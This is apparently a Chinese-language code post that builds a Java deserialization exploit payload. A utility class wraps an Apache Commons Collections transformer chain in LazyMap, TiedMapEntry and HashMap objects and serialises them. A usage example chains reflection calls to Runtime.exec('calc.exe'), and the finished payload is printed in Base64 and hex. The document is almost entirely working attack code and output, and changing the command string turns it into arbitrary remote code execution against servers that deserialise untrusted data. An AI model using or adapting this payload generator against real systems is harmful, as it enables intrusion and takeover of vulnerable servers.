利用lazymap将翻译器链转换为可反序列化触发的payload

package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class TurnChainToPayload {
private static final TurnChainToPayload INSTANCE = new TurnChainToPayload();

private TurnChainToPayload() {}

public static TurnChainToPayload getInstance() { // 提供公共访问方法
return INSTANCE;
}

public void getPayload(ChainedTransformer chain) throws IOException {
HashMap hashMap = turnChainToMap(chain);
ByteArrayOutputStream bos = turnMapToSerialize(hashMap);
System.out.println("Base64:\n"+ Base64.getEncoder().encodeToString(bos.toByteArray()));
System.out.println("---------------------");
System.out.println("Hex:\n" + bytesToHex(bos.toByteArray()));
}

private HashMap turnChainToMap(ChainedTransformer chain){
// Step 2: 创建LazyMap并关联Transformer链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
//lazyMap.get("ciallo");
// Step 3: 将LazyMap封装到TiedMapEntry中
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//entry.hashCode();
// Step 4: 将TiedMapEntry放入HashMap以触发反序列化链
HashMap hashMap = new HashMap();
hashMap.put(entry, "bar");
// Step 5: 移除LazyMap中的缓存,确保反序列化时触发链
lazyMap.remove("foo");
return hashMap;
}

private ByteArrayOutputStream turnMapToSerialize(HashMap hashMap) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
//System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
return bos;
}

private static String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder();
for (byte b : bytes) {
String hex = Integer.toHexString(0xff & b);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString().toUpperCase();
}
}

用例:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;

public class Main {
public static void main(String[] args) throws IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // 弹出计算器(Windows)
)
};

ChainedTransformer chain = new ChainedTransformer(transformers);

TurnChainToPayload turner = TurnChainToPayload.getInstance();
turner.getPayload(chain);
}
}

输出:

Base64:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAHh4dAADYmFyeA==
---------------------
Hex:
ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E00137571007E00180000000174000863616C632E657865740004657865637571007E001B0000000171007E00207371007E00003F4000000000000C77080000001000000000787874000362617278